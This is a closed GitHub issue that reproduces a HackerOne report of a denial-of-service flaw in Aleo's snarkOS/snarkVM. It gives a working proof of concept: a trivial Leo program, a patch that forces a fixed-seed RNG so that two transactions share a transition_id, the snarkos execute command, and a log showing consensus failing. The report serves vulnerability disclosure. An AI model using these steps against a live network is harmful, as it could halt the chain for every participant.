Closed feezybabee closed 8 months ago
Two transactions contain the same transition_id in the single batch halt the network
1.Deploy a Leo program like below
program attack.aleo { transition main() -> public u32 { return 1u32; } }
2.Locally patch snarkvm code
https://github.com/AleoHQ/snarkVM/blob/testnet3/synthesizer/src/vm/execute.rs#L37
pub fn execute<R: Rng + CryptoRng>( &self, private_key: &PrivateKey<N>, (program_id, function_name): (impl TryInto<ProgramID<N>>, impl TryInto<Identifier<N>>), inputs: impl ExactSizeIterator<Item = impl TryInto<Value<N>>>, fee_record: Option<Record<N, Plaintext<N>>>, priority_fee_in_microcredits: u64, query: Option<Query<N, C::BlockStorage>>, rng: &mut R, ) -> Result<Transaction<N>> { /// *** Modify ***/// use rand::SeedableRng; let rng_same = &mut rand_chacha::ChaChaRng::seed_from_u64(0); /// *** Modify ***/// //***Modify `rng` -> `rng_same`***// let authorization = self.authorize(private_key, program_id, function_name, inputs, rng_same)?; // .... //***Modify `rng` -> `rng_same`***// let execution = self.execute_authorization_raw(authorization, query.clone(), rng_same)?; // Don't change the `rng` used to generate `fee_transition`
3.Use the patched snarkvm version to build snarkos
snarkvm
snarkos
4.Run the scripts twice to generate two transactions.
PROGRAM_NAME=attack.aleo FUNCTION_NAME=main PRIVATE_KEY=APrivateKey1zkp8CZNn3yeCseEtxuVPbDCwSyhGW6yZKUYKfgXmcpoGPWH snarkos developer execute \ --private-key ${PRIVATE_KEY} \ --query ${API_PREFIX} \ --priority-fee 100 $PROGRAM_NAME $FUNCTION_NAME \ --dry-run
5.Two transactions have the same transition_id of main, different transition_id of fee_public
main
fee_public
6.Broadcast two transactions at the same time, check the logs:
2023-12-13T06:55:13.976424Z ERROR BFT failed to advance the subdag for round 228 - Found a duplicate transition in block 97
self.ledger.prepare_advance_to_next_quorum_block
transition_id
self.ledger.check_next_block
Logs: https://github.com/ghostant-1017/logs/blob/master/log.tar.gz
The vulnerability will halt the network easily.
program attack1.aleo { transition main() { } }
Program like this can skip the input_id and output_id checks, lead to the same transition_id or tcm.
https://hackerone.com/reports/2282751
Summary
Two transactions contain the same transition_id in the single batch halt the network
Steps To Reproduce:
1.Deploy a Leo program like below
2.Locally patch snarkvm code
https://github.com/AleoHQ/snarkVM/blob/testnet3/synthesizer/src/vm/execute.rs#L37
3.Use the patched
snarkvm
version to buildsnarkos
4.Run the scripts twice to generate two transactions.
5.Two transactions have the same transition_id of
main
, different transition_id offee_public
6.Broadcast two transactions at the same time, check the logs:
Proof-of-Concept (PoC)
self.ledger.prepare_advance_to_next_quorum_block
doesn't check the transactions whether have the sametransition_id
.self.ledger.check_next_block
will check whether there are the sametransition_id
s.When the check fails, the transmissions will be reinserted.Supporting Material/References:
Logs: https://github.com/ghostant-1017/logs/blob/master/log.tar.gz
Impact
The vulnerability will halt the network easily.